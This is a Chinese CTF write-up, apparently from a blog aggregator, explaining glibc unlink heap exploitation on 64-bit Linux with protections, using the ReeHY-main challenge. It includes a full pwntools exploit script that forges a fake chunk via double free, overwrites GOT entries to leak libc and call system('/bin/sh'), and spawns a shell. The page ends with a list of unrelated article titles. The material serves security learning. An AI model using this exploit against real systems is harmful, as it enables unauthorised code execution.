unlink之64位下有保护措施的利用
来源:互联网 发布:六轴机械手臂编程 编辑:程序博客网 时间:2024/06/07 19:55
本文参考自
看雪CTF-ReeHY-main
堆溢出的unlink利用方法
看雪Wifi万能钥匙CTF2017第4题Writeup-double free解法
基础知识
上一篇文章我们学习了32位下无保护措施unlink的利用,但是我们也提到了glibc的各种保护措施。这一篇文章我们还是通过一个具体的例子来学习64位下有保护措施unlink的利用。希望大家先读上一篇文章,再读这一篇文章。假设找到了一个已知地址的ptr是指向p(p指向堆上的某个地方)的,通过堆溢出,我们可以做如下的修改。
p->fd=ptr-0x18p->bk=ptr-0x10
布置好如此结构后再触发unlink宏,会发生如下情况。
FD=p->fd(实际是ptr-0x18)BK=p->bk(实际是ptr-0x10)检查是否满足上文所示的限制,由于FD->bk和BK->fd均为*ptr(即p),由此可以过掉这个限制FD->bk=BKBK->fd=FD(p=ptr-0x18)
这时候再对p进行写入可以覆盖掉p原来的值,例如我们用合适的payload将free@got写入,p就变成了free@got,那么再改一次p,把free@got改为shellcode的地址或者说system的地址都可以。之后再调用free功能,就可以实现任意命令执行。
一个例子
初步分析
题目下载
程序有创建,修改和删除这几个主要功能。检查下保护,开了Partial RELRO和NX,GOT表可写。
创建
这一段代码比较多,但可以看到问题还是存在的,size和cun都可以通过输入负数强制类型转换unsigned int来溢出。
修改
内容修改对操作的chunk序号进行了检查,主要是检查了有效性标志,大小控制使用对应保存的尺寸数据。
删除
删除操作并没有检查有效性标志,还有一个问题就是chunk释放后并没有清除指针,会形成悬空指针。这种情况一般会出现的漏洞利用方式就是UAF或者double free。不止这一种解法,但是为了方便我们就以double free触发unlink利用为例进行讲解。
利用过程
#!/usr/bin/env python# encoding: utf-8from pwn import *import syscontext.log_level = "debug"def Welcome(): p.recvuntil("$ ") p.sendline("mutepig")def Add(size,id,content): p.recvuntil("$ ") p.sendline("1") p.recvuntil("size\n") p.sendline(str(size)) p.recvuntil("cun\n") p.sendline(str(id)) p.recvuntil("content\n") p.sendline(content)def Remove(id): p.recvuntil("$ ") p.sendline("2") p.recvuntil("dele\n") p.sendline(str(id))def Edit(id,content): p.recvuntil("$ ") p.sendline("3") p.recvuntil("edit\n") p.sendline(str(id)) p.recvuntil("content\n") p.send(content)if __name__ == "__main__": #if len(sys.argv)==1: # local p = process("./4-ReeHY-main") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #else: # p = remote('211.159.216.90', 51888) # libc = ELF('ctflibc.so.6') #gdb.attach(proc.pidof(p)[0],"b *0x400c29\n") #+==================INIT===================================== elf = ELF('4-ReeHY-main') libc_atoi = libc.symbols['atoi'] libc_system = libc.symbols['system'] libc_binsh = next(libc.search("/bin/sh")) free_got = elf.got['free'] atoi_got = elf.got['atoi'] puts_plt = elf.plt['puts'] heap_addr = 0x602100 #+==================INIT===================================== print hex(free_got) Welcome() ss=raw_input() Add(512,0,"/bin/sh\x00") Add(512,1,"1") Add(512,2,"2") Add(512,3,"3") Remove(3) Remove(2) payload = p64(0) + p64(512+1) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10) + 'A'*(512-0x20) + p64(512) + p64(512) Add(1024,2,payload) Remove(3) Edit(2,'1'*0x18 + p64(free_got) + p64(1) + p64(atoi_got)+ "\n") Edit(2,p64(puts_plt)) Remove(3) atoi_addr = u64(p.recv(8)) & 0xffffffffffff base_addr = atoi_addr - libc_atoi system_addr = base_addr + libc_system log.success("system:" + hex(system_addr)) Edit(2,p64(system_addr)) Remove(0) p.interactive()
填充payload之后的堆栈空间如下图所示。
0x6020e0至0x602110之间的数据如下图所示。
现在我们看看在Remove(3)
的时候会发生什么。glibc会误以为2是空闲块,需要向后合并,于是会执行unlink操作。我们伪造的fd和bk分别是heap_addr-0x18=0x6020e8
和heap_addr-0x10=0x6020f0
,根据前面所说,heap_addr=602100
处的值会被改写成0x6020e8。
这个时候再对2进行Edit实际上修改的就是6020e8了。Edit(2,'1'*0x18 + p64(free_got) + p64(1) + p64(atoi_got)+ "\n")
之后0x6020e0至0x602110之间的数据如下图所示。
这个时候再对2进行Edit实际上修改的就是addr(free)
了。Edit(2,p64(puts_plt))
之后addr(free)
被修改为addr(puts)
,本来Remove(3)
应该free(28690)
结果执行了puts(atoi)
,泄漏了atoi函数的地址从而得到system函数的地址, Edit(2,p64(system_addr))
之后addr(free)
被修改为addr(system)
,本来Remove(0)
应该free(28060)
结果执行了system(28060)
也就是system("/bin/sh")
,从而使我们拿到了shell权限。
- unlink之64位下有保护措施的利用
- unlink之32位下无保护措施的利用
- unlink之android中的利用
- Linux堆溢出漏洞利用之unlink
- 软件保护措施的研究
- x86 & x64 的保护措施
- 页级的保护措施
- 所实施的保护措施
- 保护措施
- pwnable之unlink
- pwnable之unlink
- unlink的特性
- unlink的函数详解
- unlink的使用
- unlink
- unlink
- unlink()
- unlink();
- Android中View绘制过程(一) decorView绘制
- 方法和数组
- Java的代码块
- Matlab code for Gauss-Seidel and Successive over relaxation iterative methods
- OpenGL蓝宝书源码学习(二十)第六章——Dissolve
- unlink之64位下有保护措施的利用
- csdn如何转载别人的博客
- 模仿百度API接口搜索框
- C++ Primer 练习 12.19
- Android Loader的机制以及源码分析
- ubuntu 16.04 安装ROS时的依赖问题的解决
- 题解——Leetcode 16. 3Sum Closest 难度:Medium
- 让TextView的drawableLeft与文本一起居中
- Picasso使用Target无法回调的分析与解决